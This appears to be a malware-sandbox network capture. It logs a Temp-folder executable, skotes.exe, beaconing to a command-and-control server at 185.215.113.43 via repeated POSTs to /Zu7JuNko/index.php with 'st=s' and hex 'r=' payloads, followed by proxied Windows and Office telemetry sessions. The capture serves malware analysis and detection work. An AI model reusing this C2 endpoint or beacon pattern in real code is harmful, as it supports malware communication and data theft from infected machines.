139	192.168.2.6	50394	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:14:33.801597118 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:14:34.692476034 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:14:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	50395	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:14:36.225946903 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:14:37.151762962 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:14:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	50396	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:14:38.775238991 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:14:39.682115078 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:14:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	50397	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:14:41.204029083 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:14:42.108836889 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:14:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	50398	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:14:43.723130941 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:14:44.652189016 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:14:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.6	50399	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:14:46.174207926 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:14:47.118949890 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:14:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.6	50400	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:14:48.738518953 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:14:50.036623955 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:14:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.6	50401	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:14:51.563579082 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:14:52.480190992 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:14:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	50402	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:14:54.111371994 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:14:55.027422905 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:14:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	50403	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:14:56.548126936 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:14:57.447284937 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:14:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	50404	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:14:59.079854012 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:15:00.024189949 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:14:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49713	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:06 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 66 61 52 54 76 4a 58 61 66 55 32 4e 44 49 74 61 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 31 63 64 39 63 32 64 36 37 63 34 34 30 34 62 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: faRTvJXafU2NDIta.1Context: 51cd9c2d67c4404b
2024-11-13 17:08:06 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-13 17:08:06 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 66 61 52 54 76 4a 58 61 66 55 32 4e 44 49 74 61 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 31 63 64 39 63 32 64 36 37 63 34 34 30 34 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 67 70 4f 43 31 65 2b 6a 6b 54 61 78 4d 48 2f 48 78 4d 69 70 42 67 78 36 4b 37 32 49 2f 74 44 78 33 46 49 66 76 6d 39 61 7a 6b 67 42 48 55 78 6b 6f 72 78 78 34 41 6f 33 6c 43 55 66 57 66 51 41 6c 44 6c 43 6c 63 30 4f 66 70 41 4e 30 30 57 58 63 30 63 50 4a 2f 2f 5a 6c 6b 71 48 35 30 6c 52 4a 31 73 51 67 2b 43 57 48 54 35 67 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: faRTvJXafU2NDIta.2Context: 51cd9c2d67c4404b<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAfgpOC1e+jkTaxMH/HxMipBgx6K72I/tDx3FIfvm9azkgBHUxkorxx4Ao3lCUfWfQAlDlClc0OfpAN00WXc0cPJ//ZlkqH50lRJ1sQg+CWHT5g
2024-11-13 17:08:06 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 66 61 52 54 76 4a 58 61 66 55 32 4e 44 49 74 61 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 31 63 64 39 63 32 64 36 37 63 34 34 30 34 62 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: faRTvJXafU2NDIta.3Context: 51cd9c2d67c4404b<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-13 17:08:07 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-13 17:08:07 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 74 35 2b 46 4b 64 77 71 61 6b 6d 4f 72 61 58 5a 2f 63 4d 54 76 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: t5+FKdwqakmOraXZ/cMTvA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:10 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:10 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:10 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 11 Nov 2024 13:19:38 GMT ETag: "0x8DD02537E74B538" x-ms-request-id: a1588731-601e-000d-094b-342618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170810Z-16547b76f7frbg6bhC1DFWr5400000000hdg000000004ba8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:10 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-13 17:08:10 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-13 17:08:10 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-13 17:08:10 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-13 17:08:10 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-13 17:08:10 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
